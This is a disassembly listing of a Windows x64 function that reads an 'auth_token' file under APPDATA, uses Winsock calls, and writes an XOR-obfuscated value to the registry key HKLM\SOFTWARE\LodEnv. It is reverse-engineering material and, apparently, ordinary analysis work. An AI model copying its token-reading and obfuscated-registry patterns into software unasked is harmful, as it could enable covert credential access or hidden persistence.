lea rcx, [rbp + 0xa00]
call fcn.140004590
nop
lea r9, [fcn.140003e00]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x3e0]
call fcn.1400c8f80
cmp byte [rbp + 0xa40], 0
je 0x14004bf1e
lea rdx, str.1.2.2
lea rcx, [rbp + 0xa20]
call fcn.140005260
test al, al
je 0x14004befc
cmp dword [rbp + 0x980], 0xc8
jne 0x14004bef5
lea rdx, [0x1400e1cd8]
lea rcx, [rbp + 0x960]
call fcn.140003e90
nop
lea rdx, [rbp + 0x9a0]
test r12b, r12b
je 0x14004b2e9
lea rcx, [rbp + 0x670]
call fcn.140049b60
mov rdx, rax
lea rcx, [rbp + 0x960]
call fcn.140050740
lea rcx, [rbp + 0x670]
call fcn.140003e00
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0x830], rax
test rax, rax
je 0x14004bedc
lea rdx, str.auth_token
lea rcx, [rbp + 0x480]
call fcn.1400536a0
nop
lea rcx, [rbp + 0x440]
call fcn.140053660
nop
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0x460]
call fcn.140053600
nop
lea r8, [rbp + 0x440]
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14003c8a0
nop
lea r8, [rbp + 0x480]
mov rdx, rax
lea rcx, [rbp + 0x8a0]
call fcn.14003c8a0
nop
lea rcx, [rbp + 0x650]
call fcn.14003c930
nop
lea rcx, [rbp + 0x460]
call fcn.14003c930
nop
lea rcx, [rbp + 0x440]
call fcn.14003c930
nop
lea rcx, [rbp + 0x480]
call fcn.14003c930
lea rcx, [rbp + 0x860]
call fcn.14003da80
mov dword [rbp + 0x860], r14d
lea rax, [0x140103b40]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x8a0]
call fcn.14003c7d0
nop
lea rdx, [rbp + 0x860]
mov rcx, rax
call fcn.14003da90
nop
lea rcx, [rbp + 0x3a0]
call fcn.14003c930
cmp dword [rbp + 0x860], 0
je 0x14004b252
mov edx, reloc.WS2_32.dll_socket
call fcn.14004f2b0
jmp 0x14004b29a
lea rcx, [rbp + 0xa50]
call fcn.14003ecd0
mov r8d, reloc.WS2_32.dll_select
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0xa50]
call fcn.1400530e0
nop
cmp qword [rbp + 0xad8], 0
jne 0x14004b2ab
mov edx, reloc.WS2_32.dll_socket
call fcn.14004f2b0
nop
lea rcx, [rbp + 0xa50]
call fcn.14003ec60
nop
lea rcx, [rbp + 0x8a0]
call fcn.14003c930
jmp 0x14004bee7
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0xa50]
call fcn.14002d9a0
lea rcx, [rbp + 0xa50]
call fcn.14004fe90
nop
lea rcx, [rbp + 0xa50]
call fcn.14003ec60
nop
lea rcx, [rbp + 0x8a0]
call fcn.14003c930
jmp 0x14004b3e2
lea rcx, [rbp + 0x3a0]
call fcn.140065780
mov rdx, rax
lea rcx, [rbp + 0x960]
call fcn.140050740
lea rcx, [rbp + 0x3a0]
call fcn.140003e00
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x830]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWARELodEnv
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14004bedc
movabs rax, 0xcc6e1c3e152f219c
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r15
mov qword [rbp + 0x8a0], r13
mov qword [rbp + 0x8a8], r15
movdqa xmm0, xmmword [rbp + 0x860]
pxor xmm0, xmmword [rbp + 0x8a0]
movdqa xmmword [rbp + 0x860], xmm0
mov edx, dword [rbp + 0x938]
inc edx
lea rcx, [rbp + 0x928]
call fcn.140004050
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x860]
mov rcx, qword [rbp + 0x830]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14004bedc
mov rcx, qword [rbp + 0x830]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1403015bb
mov edx, reloc.WS2_32.dll_socket
call fcn.14004f2b0
nop
lea rcx, [rbp + 0x960]
call fcn.140003e00
jmp 0x14004bf07
mov edx, 0x21
jmp 0x14004bf01
mov edx, 0x19
call fcn.14004f2b0
nop
cmp byte [rbp + 0xa40], 0
je 0x14004bf4a
lea rcx, [rbp + 0xa00]
call fcn.140004b30
jmp 0x14004bf4a
cmp byte [rbp + 0x9c0], 0
je 0x14004bf33
lea rcx, [rbp + 0x980]
call fcn.140004b30
mov edx, 0x1f
call fcn.14004f2b0
jmp 0x14004bf60
mov edx, 0x1f
call fcn.14004f2b0
nop
cmp byte [rbp + 0x9c0], 0
je 0x14004bf60
lea rcx, [rbp + 0x980]
call fcn.140004b30
nop
movzx edx, byte [rbp + 0x888]
lea rcx, [rbp + 0x890]
call fcn.140051850
nop
lea rcx, [rbp + 0x8d0]
call fcn.140003e00
nop
lea rcx, [rbp + 0x9d0]
call fcn.14004fed0
nop
movzx edx, byte [rbp + 0x8c0]
lea rcx, [rbp + 0x8c8]
call fcn.140051850
nop
lea rcx, [rbp + 0x928]
call fcn.14004fed0
mov rcx, qword [rbp + 0xdf0]
xor rcx, rsp
call fcn.1400c8ee0
lea r11, [rsp + 0xf00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, rax
call fcn.140051f00
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140003e90
nop
mov r8, rax
lea rdx, str.type_must_be_boolean__but_is
lea rcx, [rbp + 0x460]
call fcn.140052e40
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp + 0xb60]
call fcn.14003b4e0
lea rdx, [0x1400f95f8]
lea rcx, [rbp + 0xb60]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov edx, eax
call fcn.14003d170
int3